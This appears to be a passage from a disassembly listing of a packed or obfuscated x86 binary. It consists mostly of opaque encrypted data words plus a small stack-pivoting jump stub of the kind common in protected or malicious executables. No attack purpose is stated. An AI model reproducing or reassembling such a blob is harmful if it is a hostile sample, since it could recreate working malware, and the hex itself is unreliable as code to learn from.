		dd 407F9D73h, 0C7E1A8F1h, 6449649Ch, 227FC72Ah,	1995B5D0h
		dd 30567F89h, 3D042A05h, 0D2F0C61Ah, 34FB4493h,	65B7EF1Ah
		dd 648FD626h, 0F4EB6163h, 2D4E9D79h, 0B0E21E51h, 92B893BEh
		dd 0A2E93574h, 74BB07C2h, 5C61DEA9h, 0F1E097A7h, 3FAh
		dd 0CBABFE44h, 9878C110h, 6B4B90DDh, 3A1A5FB0h,	0AEA2D7Fh
		dd 83D5615Fh, 5AA56040h, 26763111h, 0F844FFDFh,	674DD1B1h
		dd 1EF37E4Ch, 0CCC0EDE7h, 0DBE7115Dh, 195CAED9h, 9D47C1FEh
		dd 54E85B82h, 0EE26A6D6h, 31E281D0h, 8EA3BE9Bh,	0B5F8263h
		dd 67FC1735h, 4E75AF3h,	0E130FEDEh, 0A56EC8F7h,	0B30E3907h
		dd 506B895Fh, 0E156C82Dh, 0C3022046h, 0D3123077h, 5B753C83h
		dd 2F7B3630h, 31E3E702h, 5A80E129h, 89F9903Fh, 3D75ABABh
		dd 0E6377676h, 0C71B76A1h, 6FB8D3F1h, 0D4E750B3h, 6E12E3AEh
		dd 24DB39F1h, 35135h, 2559B00h,	0CF186722h, 0A2E734EFh
		dd 71B607C2h, 4184D691h, 2CCEB661h, 0FCB797DAh,	0CD8868B1h
		dd 9B56367Dh, 0A428084Fh, 0F3A7A3BEh, 1744E71Eh, 0F7115D23h
		dd 662D65AAh, 0FB19EF43h, 5AEBF7E0h, 96769CE7h,	6F5B76C8h
		dd 0FCE714D3h, 8484ABD6h, 2C000001h, 75BA0B4Ah,	0FA97624Ah
		dd 73B2D0A6h, 78B0DB24h, 5295E726h, 0EF912627h,	0AEEDE75Ah
		dd 0CE513763h, 0FF9427C8h, 9BC19CC7h, 0A7EE3E7Dh, 4FA67A8Ch
		dd 7DA8A74Ch, 9F5F6708h, 0F044D057h, 0DCE1FC1Ah, 97145144h
		dd 0C4145371h, 719CB67Dh, 43196D90h, 0B6C60A25h, 779D1262h
		dd 0B4CE1A59h, 405A2168h, 679FE435h, 3980CC87h,	0CAE8A76Eh
		dd 0BAA960CCh, 28Ah, 5B3B8ED4h,	280851A0h, 0FBDB206Dh
		dd 0CAAAEF40h, 9A7ABD0Fh, 136511EFh, 0EA35F0D0h, 0B606C1A1h
		dd 88D48F6Fh, 0F7DD6141h, 1E8CEEDCh, 5C507DE7h,	3CA115Dh
		dd 98B68CE0h, 5AFB847Dh, 0E1C1E7E7h, 3C85D413h,	0C2CF2911h
		dd 5F7A986Eh, 0E16DC1DEh, 73146F95h, 7005B934h,	84F9BDAh
		dd 24264141h, 0C76FC228h, 0E33E69A1h, 5C9BB98Fh, 0E600C70Ah
		dd 0E23183BBh, 6C62F7E9h, 8FAAC88Fh, 6FC2F0BBh,	0D6D70228h
		dd 69BBD3C1h, 1756749Ah, 9FB980C7h, 1C709374h, 3B0D2846h
		dd 0B06F8821h, 0E12D6C8Ah, 352D7C9Ah, 0D509C43Fh, 0E2B0AAD5h
		dd 5A557590h, 7DCC6FCFh, 92536D34h, 0D01C416Ch,	84FDBE89h
		dd 0CF86B120h, 1C1E0h, 72C50B00h, 3F88D792h, 1257A45Fh
		dd 0E1267732h, 0B1F44601h, 9C5E26D1h, 6C27074Ah, 3DF8D821h
		dd 0BC6A6EDh, 149878BFh, 8D37132Eh, 87B4E71Eh, 0CA115D93h
		dd 0D71C6DACh, 54A8CBACh, 0AC45607Eh, 3FE75AD6h, 27873919h
		dd 8DDFFDD3h, 97E7034Eh, 37511850h, 0CF96DB2Ch,	20898AB5h
		dd 43E76109h, 74C0FF1Dh, 46924D2Dh, 748FE1FFh, 0E71EF056h
		dd 0E3C4EF15h, 78966CC0h, 5C35225Dh, 428DCCE1h,	0F54532F9h
		dd 704B76AEh, 9BDA2C4Ah, 0A2E9354Fh, 0C289C1DBh, 0C587DA8h
		dd 5D78A7F2h, 0E123CC6Dh, 85A0D8FEh, 0EC6AFF93h, 224078DFh
		dd 149225D3h, 0B8E3FD1Bh, 70B703BEh, 915AA9A9h,	0A45D8A3Eh
		dd 2F83DE09h, 0EB725873h, 0CBF1E123h, 815A7593h, 0E2E75AC3h
		dd 223EF1BCh, 10C739FBh, 0E121h, 92E52B00h, 5FA8F7B2h
		dd 3277C47Fh, 1469752h,	0D1146621h, 0BC7E46F1h,	8C47276Ah
		dd 5D18F841h, 2BE6C60Dh, 34B898DFh, 8E17334Eh, 0A7D4E71Eh
		dd 2AD327B3h, 415F97DEh, 61094D26h, 0B1789EE7h,	133178C4h
		dd 3568C4C4h, 0D7029AFEh, 8FD622DDh, 0FFBBFFC8h, 0C5EE3BDh
		dd 0C82C8E3h, 3B61E342h, 213C3C03h, 0E3420C29h,	3C8994BAh
		dd 0B27630F7h, 633F0B94h, 569DE945h, 286FBB76h,	0F40F6161h
		dd 0E3420CD6h, 1F446F95h, 0D5C289CEh, 0D91E6B85h, 0F9C0F812h
		dd 0AE75BC0Ch, 562E75C1h, 11EB7492h, 80CAE537h,	63E3420Ch
		dd 0D6F4123Dh, 91D82867h, 6085B0CAh, 93AFFA14h,	1B35FC43h
		dd 4089D8E3h, 47275F79h, 0DB26408Ch, 71597492h,	0F2E3420Ch
		dd 0DECD94CCh, 0Ah, 0DB1A2886h,	6882498Eh, 175D213Dh, 0C410FDC4h
		dd 79C9B67Dh, 337E6B32h, 0E43623EAh, 9BEDDAA1h,	53A49158h
		dd 0D5A470Eh, 0C51401C8h, 51C3B57Ch, 0C181E189h, 4, 3304E983h
		dd 0C31240Ch, 240C3324h, 0E789575Ch, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 68240489h, 6C4Ch, 68241489h, 5B97h, 68243C89h
		dd 28C92E11h, 0F8E7815Fh, 8177F242h, 0CE5C5BEFh, 8FF78171h
		dd 89A8CC98h, 8B545FF8h, 0C4832414h, 8B95104h, 1000000h
		dd 8B0189D1h, 0C483240Ch, 24148B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 8B5C243Ch
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 7Ah
		dd 7137D2D6h, 7AEAEA7Ah, 9CBBEAB5h, 4338B8FBh, 0C503063Dh
		dd 0F004E0FFh, 39FC3989h, 64C96E91h, 679356BCh,	81A6E06h
		dd 3E796EBBh, 37332CE8h, 12E02B6Fh, 0BC655346h,	0D1990719h
		dd 0DCB87178h, 9BFA26EBh, 0AD4A58C6h, 0BF6875B0h, 0E594295Bh
		dd 1065653Ch, 4D0558F8h, 7F57500Bh, 0F02E3CB4h,	16150CE3h
		dd 207860E8h, 4EEF19B9h, 882E6F4Ch, 0DEDD0669h,	10E823E1h
		dd 92000000h, 4D8DFFA3h, 0CF04124Bh, 0D4011236h, 0F88F9BC7h
		dd 14E8605Bh, 0F3000000h, 2181A735h, 0AD6F641Dh, 3066DFCAh
		dd 29DCF81Ah, 661B317Eh, 5EB85DB9h, 5556B866h, 0B1C38161h
		dd 52000070h, 0B95AF28Bh, 24A4322Fh, 163BE981h,	12E924A4h
		dd 0BF000000h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh
		dd 8B33FF13h, 0F28B5FD1h, 2EF3C781h, 0EF815C67h, 2F276250h
		dd 0EF81F28Bh, 160F95BCh, 0DA8AE881h, 3B890B0Bh, 0FED08166h
		dd 67EB813Eh, 0E86E490Bh, 0Dh, 7A6C07ECh, 9B1C5CA7h, 94718982h
		dd 0F3B70F9Ch, 63C3815Ah, 666E490Bh, 49CAD8BAh,	0D850Fh
		dd 0C28A0000h, 27E9h, 178D700h,	0E995CEC2h, 11h, 2A9B046Eh
		dd 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h, 0FF83E9D9h, 265AFFFFh
		dd 0E979907Eh, 8EBh, 65F10000h,	0DDE919C1h, 68000004h
		dd 63D467Ch, 0FA390DE9h, 46FB68FFh, 3E9063Dh, 68FFFA39h
		dd 63D4853h, 0FA38F9E9h, 62B5FBFFh, 2F78C782h, 247944Fh
		dd 0D1166722h, 0A1E436F1h, 8C2E16C1h, 5C17F73Ah, 2DE8C811h
		dd 0FBB696DDh, 48868AFh, 89C7031Eh, 77A4E71Eh, 0C80B5D83h
		dd 74B20101h, 68E98DF1h, 277398C3h, 0BB0F00E0h,	17ACC7E5h
		dd 0D4E75A28h, 501EE7AEh, 49E71433h, 5FAE1D3Bh,	0E29A035h
		dd 0E714AF3Ch, 3D6E89AFh, 7C86B11Fh, 3C6036B5h,	301CBh
		dd 559A9900h, 81CE0D5Fh, 745B753Ch, 0E123CC56h,	69C4EF15h
		dd 0C3E5915h, 0DFE123CCh, 486381B9h, 0E75AEFB7h, 68627DCFh
		dd 0FBE714EEh, 356DB002h, 8232F0Ah, 0E714EEC2h,	0E8437BA1h
		dd 0BE11F647h, 43196DD8h, 0AC050A25h, 0C2011C08h, 24FF2A73h
		dd 56A1E0FEh, 0DE01E20Dh, 7B96B48Ah, 1A3E595Fh,	9BC1130Ch
		dd 0A4627077h, 81488089h, 0D2112F67h, 0F31B6C86h, 0D6B8EEC1h
		dd 0BEF62EBCh, 0E51061A0h, 719C80CAh, 53D631Ah,	9CFECCE7h
		dd 476D1A71h, 254221Ch,	719CE3E7h, 2F5A801Ah, 0AC77BE0Ah
		dd 0C49E4A8Dh, 0DDB09F56h, 0E1000002h, 0AD68489Bh, 7A35155Eh
		dd 4D08E82Dh, 1CD7B7FCh, 0FCA787CAh, 0DD207204h, 0AEF742FDh
		dd 7CC313CEh, 4E95E19Ch, 0E904EA6Eh, 0E71E8AE1h, 27615582h
		dd 8DDFFDD3h, 0EFB6FF4Eh, 92A9AAD5h, 51E76111h,	8EC60B58h
		dd 0C9DF3170h, 5670377Ch, 31833E1Eh, 175E27EEh,	0F7E71E89h
		dd 0BC573AA8h, 0E15CA9A1h, 0F9143A18h, 77921FF6h, 37107C69h
		dd 9FC4EF0Ch, 410C53h, 0D9C60ED5h, 25E3322h, 1C620000h
		dd 0DF2EE9C9h, 0AEFBB696h, 7DCE8969h, 4B9D5838h, 877D2808h
		dd 7E5EA1F3h, 4F2F78C3h, 1DFD4494h, 0EFCF1662h,	606A856Bh
		dd 3E71E8Ah, 0D327E2D6h, 0B5C4DFFDh, 36E76111h,	78A3F210h
		dd 0D3B28135h, 7942234Eh, 0E71EC32Dh, 377896A4h, 3C6597FAh
		dd 18186h, 115D5400h, 0CA1603CAh, 4AC551A0h, 3A727CB6h
		dd 0FB3A8C5Ah, 4A8067B0h, 19E123F2h, 846FD8F3h,	0D0CC0CD4h
		dd 20F64AA5h, 9AC6E702h, 140E75Ah, 8519CB4h, 0EE0909D0h
		dd 0E714AADCh, 631698Fh, 3E3E052Bh, 2071FEFh, 26546FB6h
		dd 0CACBF6F1h, 0E7149EFCh, 88C9E7F5h, 3C5FDAA9h, 4AD7h
		dd 0D327A500h, 0CCCEFC17h, 949DE123h, 84183F23h, 0F0286075h
		dd 0BACEB7D2h, 4698E75Ah, 14851F2Bh, 88A6CCE7h,	14855D6Dh
		dd 0BDE80EE7h, 2CF5BCE2h, 0E7148562h, 0BC2B4957h, 0F566046Dh
		dd 0B8E3D819h, 602783AEh, 91FD3Ch, 5DCB0000h, 60A7F711h
		dd 85BD0655h, 697FD1BEh, 0F50FD61Dh, 0BD09F6BDh, 76C2AF76h
		dd 32814F2Fh, 9604340Bh, 1A1B461Eh, 0E123106Ah,	7EC9E32Fh
		dd 2C1DFD35h, 97E02FD8h, 5196E3D0h, 0A8C3E119h,	0E75DBE57h
		dd 948668Ch, 0D99474B7h, 0FE794487h, 9739F571h,	106F1E0h
		dd 0C40A0000h, 87D69171h, 56A35E3Eh, 25763111h,	0F34500E0h
		dd 5F25D0B0h, 2606499Bh, 0F7D7206Bh, 0C5A5EC3Ch, 9777BE0Ah
		dd 38122D13h, 0ABE71E84h, 0B5D8A7Eh, 0E12DE8C8h, 5D08BA9Ah
		dd 6DACCA11h, 0F3D7F21Bh, 70E123CCh, 6E7124Ah, 0A686CD19h
		dd 6D8B61B5h, 5B1A5F52h, 0D0EE14E7h, 1CFC3F91h,	14823985h
		dd 458CD8E7h, 5099E827h, 4A446F89h, 0F9143D8Fh,	0E71482D1h
		dd 6D346C92h, 877Eh, 0D3272600h, 0B1C4DFFDh, 2AE76111h
		dd 7994E604h, 0E71E8951h, 0E0C1EC12h, 8060A7F3h, 6B3279C5h
		dd 22B95FA2h, 54938907h, 0E0FAC108h, 1D7997B5h,	0EFAA8AD1h
		dd 0F73C89A3h, 0C0DE1630h, 0A677536Eh, 0CEF4F8E2h, 0EDAE0CB3h
		dd 89B4D138h, 3B56A8A8h, 0F8E2B80Fh, 668BB6DCh,	4D09D015h
		dd 0C7136F8Dh, 0DE165DADh, 0B0F743FEh, 0A4D84392h, 0DB9A0121h
		dd 11E0CFB0h, 6C000000h, 61F7681Dh, 0D0FB2121h,	0B90B4AB4h
		dd 0FFF14B76h, 0FDC4175Dh, 0B67DC410h, 6B3279C9h, 23EA337Eh
		dd 0DAA1E436h, 91589BEDh, 470E53A4h, 1C80D5Ah, 0B57CC514h
		dd 0E38953C3h, 4C381h, 0EB830000h, 241C8704h, 5324248Bh
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 14895C24h,	0E0895024h
		dd 405h, 42D00h, 4870000h, 4895C24h, 4EC8124h, 89000000h
		dd 0AEBB241Ch, 0BA198602h, 1FC34810h, 545BDA29h, 8124048Bh
		dd 4C4h, 0D3895300h, 8B085889h,	0C483241Ch, 24048B04h
		dd 5E08950h, 4,	405h, 24048700h, 24148B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 3448E95Ch, 0E07EFFFAh, 5CC606C6h, 88612B0Dh
		dd 3B80E621h, 3D497EB8h, 0FFC50306h, 1A8D2DE0h,	167EDE79h
		dd 0EE4F70Ah, 8FFD433Fh, 0AB8BA93Ah, 9AB02469h,	5546630Fh
		dd 0FE92100Ah, 538CE50Dh, 5B72BA02h, 2E3A1D79h,	37F0F41h
		dd 0AAE5E31Ah, 0B4414334h, 69D7F560h, 3959A14Eh, 2E79B4Fh
		dd 92FBD150h, 37404C50h, 0BD35A846h, 75201103h,	36C40840h
		dd 186F3E3Bh, 4C192A3Ch, 948D8D77h, 6A063D4Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F96C352h, 684h, 71852900h, 8906370Bh, 3718758Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BAB5CE4h, 370841B5h, 9585C706h, 0B8063711h,	6A00006Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 4C78C353h, 0C75DB081h, 370F8185h,	6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 64AD3967h, 0BAFF43BFh, 0D08B6673h, 1F2DB5FFh, 6A0637h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4F6526C3h, 25B58BD3h, 0FF06370Fh, 37129195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C963EB2Ah, 95FF006Ah, 6373219h, 7DEBC08Bh, 5640BC1Eh
		dd 1E549449h, 0C15B4853h, 0EF0B0FB5h, 9EF48E5Bh, 0A049FA81h
		dd 0DD2BF933h, 0F4563520h, 1B36D6A6h, 40A815DEh, 74F3F082h
		dd 36571DD2h, 12136F6Ah, 9851711Ch, 815E8D76h
		dd 0A2E771BAh, 0BC3EC211h, 6314E0h, 24FFC44Fh, 0EAF838E9h
		dd 771DB2E0h, 1463486Bh, 66AA1FA4h, 4E6DBAD5h, 0D0DD6BFh
		dd 0B8A048B2h, 8C62F0ABh, 31505EBAh, 8AAB1A55h,	0E5F38F76h
		dd 1B7861BBh, 0A88D8DC8h, 6A063D4Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9561C355h
		dd 0A0AF9972h, 89649459h, 3718758Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0BAC9956Eh
		dd 6ABA5469h, 0C746D7DAh, 37119585h, 59EC06h, 35858900h
		dd 0C706372Fh, 370F8185h, 6, 0F08B6600h, 2DE1B5FFh, 0B5290637h
		dd 6370A35h, 129195FFh,	0C8810637h, 42B2EB59h, 95FF006Ah
		dd 6373219h, 9EBC08Bh, 3571D8FAh, 795140EDh, 3EE853F8h
		dd 32565DB1h, 1EEACF2h,	325655F2h, 3256ABB1h, 67B2D5B1h
		dd 0BD00EAE8h, 325675EBh, 3256BAB1h, 32565DB1h,	3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32545DB1h, 3581AEB1h, 325757BBh, 325CABACh
		dd 3250D5B2h, 3256E84Dh, 325677F6h, 32EEB8F6h, 32565DB1h
		dd 382302EEh, 0E4A7CFCAh, 507BEFE6h, 9C7F6542h,	0BBB336FEh
		dd 0BA7D5185h, 651FC90h, 92F58FECh, 0FEA9B0E8h,	620E0DA4h
		dd 3BBFF9E1h, 0FF56D5B1h, 0FB867933h, 0B7AA9A7Fh, 8D368BBEh
		dd 0DC75B25h, 68375602h, 359C4E9h, 359F9E1h, 6A0C8DEBh
		dd 0B836DBBEh, 51EF1376h, 6A0CDB4Fh, 36721938h,	3256BA58h
		dd 0D883DBB1h, 8407D36Ah, 70DBF106h, 0BCDF7AE2h, 0A813C91Eh
		dd 0F863E27Ah, 3250B48Ah, 25C0AEB1h, 8174BAB5h,	0C10ECA2Ch
		dd 7DF8FC01h, 59EC0F6Dh, 75D01479h, 0D14427C5h,	76DF05EBh
		dd 6006AA95h, 32565858h, 0E3AEF0B1h, 3FF2E287h,	3B463973h
		dd 0F76A5ABFh, 60068BBEh, 3593CD1h, 359FCE1h, 6A0C0FEBh
		dd 770EF3EBh, 32583C2Dh, 6DA8EAB1h, 495C001Dh, 65804B29h
		dd 0C13470F5h, 9CBF2FD7h, 3242BEB8h, 0D78AABB1h, 539EBE0Bh
		dd 0AF22AD37h, 0ABB696A3h, 675A85EFh, 53CB06DBh, 3672EA38h
		dd 32565B58h, 0F05B0FB1h, 3C5FC562h, 2893D69Eh,	32562DFAh
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h,	325675B1h
		dd 47BC3BEBh, 0BF5060FEh, 0EDF3B34h, 0F9D4DEB7h, 0BF5096FDh
		dd 0F95D233h, 0FDD463B7h, 0DA5048FDh, 3256B3FFh, 32562659h
		dd 89D469B1h, 32506AFDh, 6056ABB1h, 10EF5077h, 5A00EC86h
		dd 0AEFECDE3h, 116F0F4Eh, 0B7DB5B86h, 346CDCBBh, 0B7DF874Eh
		dd 3461B250h, 323ED1DBh, 5A56EAA1h, 325578F1h, 0E2A9BADBh
		dd 469656EBh, 89D42782h, 0BB506AFDh, 0F1A1433h,	3F166CB7h
		dd 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h,	3252AED9h
		dd 0CD563DB1h, 54F4A23h, 0B0DF8FB7h, 346BA7BEh,	89D3FED0h
		dd 0F15087FDh, 8FD49AD1h, 325099B4h, 0F55617B1h, 5668E33h
		dd 3246D5B7h, 52958BB1h, 7EEDCF3Ah, 0DD5BC8Ch, 0B17529B1h
		dd 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h
		dd 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h
		dd 3256AB59h, 0D8D78FB1h, 346BBADBh, 7F45C73Ah,	77DDBC8Ch
		dd 0B150D4B9h, 0F1BBD33h, 0FB3753B7h, 5256AF73h, 3256D559h
		dd 0D8D7B0B1h, 346B253Fh, 7F59083Ah, 806D5B8Ch,	346BE3A2h
		dd 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h
		dd 7115639Ah, 2CFFD83Ah, 0BFDDA886h, 34615768h,	3B24738Ah
		dd 37210C8Ah, 0D9522C32h, 46994E78h, 0EBEB33B9h, 0D9506AB1h
		dd 5295CF06h, 32565759h, 0D8D7F1B1h, 346B8557h,	7F59503Ah
		dd 32EF738Ch, 156BAB0h,	0B9FDAE71h, 0F1BA133h, 21D4DEB7h
		dd 535096FCh, 32BEB572h, 6856EAB1h, 63469F30h, 0B790BC8Ch
		dd 34617F08h, 5F6FC6E7h, 87A983AEh, 34618888h, 405C503Ch
		dd 0E2A9EC8Bh, 323E25E3h, 5856BA31h, 89E4A2B1h,	0CD5093FDh
		dd 5A0C0F61h, 32562BB1h, 80A9D5DBh, 346BA7BEh, 0F137A54Eh
		dd 52BA31E4h, 32565D59h, 0D8D7F4B1h, 346B06EFh,	0DA5EDE3Ah
		dd 3256D729h, 0F9C415E4h, 6F5048FDh, 475ACF8Ah,	30D0B55Fh
		dd 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h
		dd 0D8D72FB1h, 346BEB23h, 0B95E283Ah, 6401BECCh, 32566059h
		dd 4696A0B1h, 67AE5E90h, 7E9D784Eh, 90B738Ch, 2022B6C4h
		dd 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah
		dd 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h
		dd 6401AF75h, 7791F8E0h, 3256D549h, 0C9D42DB1h,	335048FDh
		dd 0B956BAB1h, 0B93055C4h, 89EC25AFh, 0B9506AFDh, 0E95DA3EEh
		dd 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh
		dd 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh,	0C9D6EAB1h
		dd 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h
		dd 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h
		dd 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh
		dd 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h
		dd 0B26E239Ch, 122C38Fh, 7EAD574Eh, 0B930EC8Ch,	0CAB1F5AFh
		dd 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h
		dd 0A0A980D1h, 346BA67Ah, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h
		dd 553130Bh, 0B0DD07B7h, 346BE74Ah, 6A66E988h, 88DDBAC3h
		dd 34614594h, 0C9D431E1h, 0B5060FDh, 4D0E9E8Dh,	0F546BC8Ch
		dd 325453F4h, 35BDD5B1h, 33AEAF76h, 0B95675B1h,	0F1A010Bh
		dd 3949D6B7h, 949DA6Ah,	0B959226Fh, 4FD5A7ECh, 3122D549h
		dd 0BBAEB7B2h, 0F5D571EEh, 1B451A5h, 3296B471h,	0B930AEB1h
		dd 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h,	0F4649EA7h
		dd 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h
		dd 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h
		dd 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h
		dd 4CD713BFh, 46C62A4Eh, 0B952B6B3h, 0BF094576h, 0F1B4033h
		dd 0CD00FBB7h, 0F1A1A23h, 4696E1B7h, 0BF9EFEBBh, 0F1BAD03h
		dd 6446B6B7h, 0CD03603Ah, 0F1A9C23h, 0FC7DF6B7h, 0B1080C46h
		dd 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h,	0D9FDAFF7h
		dd 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah,	3DFD1335h
		dd 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh,	0B903ABB9h
		dd 32BEB55Dh, 6856EAB1h, 61A69F30h, 77DDBC8Ch, 0F1D4D4B9h
		dd 535093FDh, 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h
		dd 23BCF4EBh, 0F55087E5h, 3256A5F4h, 7791AEB1h,	3256574Dh
		dd 549698B1h, 0B091CB3Ah, 346BA64Ah, 325675B0h,	0A2AD3BD7h
		dd 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh
		dd 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h
		dd 0D7D25831h, 3156ABB1h, 546B433h, 0C9D6AAB7h,	0FCD27A53h
		dd 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h
		dd 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah
		dd 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh,	463ED431h
		dd 0B0A93589h, 346BF64Ah, 0B248D6D7h, 0B3305656h, 46BED64Ah
		dd 2CDDCD95h, 54A63231h, 0F2D71130h, 673662C5h,	7E9D284Eh
		dd 0BB0B5B8Ch, 0B13752F4h, 3D57ABCCh, 32578334h, 8FEC5EB1h
		dd 6250DDB4h, 7EADF73Ah, 0E6FBC8Ch, 0B0590581h,	3256AFA0h
		dd 273ED3Ah, 0B906AD86h, 0F1A2E33h, 26AD3B7h, 0C8D97AE9h
		dd 0B956BAB1h, 0F1AE20Bh, 8DD42DB7h, 26506AFDh,	75DF9C38h
		dd 0B0DD85A1h, 346BA64Ah, 6A66693Ah, 0DB5EE538h, 32565D64h
		dd 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h, 7EE9503Ah
		dd 0B0D5738Ch, 346BF60Eh, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h
		dd 0F1A5033h, 3256D7B7h, 0B15301B1h, 6D2B7749h,	32AEC732h
		dd 845946C5h, 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h
		dd 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 346B114Ah, 6965AA3Ah
		dd 32565718h, 3142DE31h, 37965677h, 7EAD68B2h, 0BB1E738Ch
		dd 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h, 7EAD29B2h
		dd 0BB1ED38Ch, 75DFE2F6h, 1689EBDh, 33103071h, 1323DD19h
		dd 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 346A76BAh
		dd 31579631h, 3A113372h, 0D95A1A38h, 178E59A5h,	3256574Eh
		dd 0EAA16D9Ah, 0BB541532h, 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h
		dd 52AA9932h, 3256AE59h, 0D8D70DB1h, 346BFD93h,	7EED6F3Ah
		dd 0FB65EC8Ch, 3D564A32h, 32567835h, 0CD51D6B1h, 47A9A2C4h
		dd 41BE07B9h, 4156ABB0h, 269156B4h, 77DF085Ah, 3E238A4Dh
		dd 0CD5ECF4Eh, 330AB586h, 0B059AEB1h, 32565726h, 0BAAEE3Ah
		dd 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h, 3A22BAB5h, 325A2232h
		dd 3CBDACC5h, 0CDA9A809h, 3253124Eh, 99A5D5B1h,	4DD5295Ah
		dd 3D2270A1h, 3446C532h, 0B9174CC4h, 6DDDAAF6h,	0B915BCBDh
		dd 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h, 3A094EBDh,	0B904AFC4h
		dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh
		dd 6DDDEEF6h, 36095EBDh, 31535132h, 55F643Bh, 22292DB7h
		dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh,	325675B4h
		dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h,	0DA365775h
		dd 3256D5B1h, 3FBC6BEBh, 0B95048E6h, 0F1A010Bh,	0B19F6EB7h
		dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh,	32DE02E1h
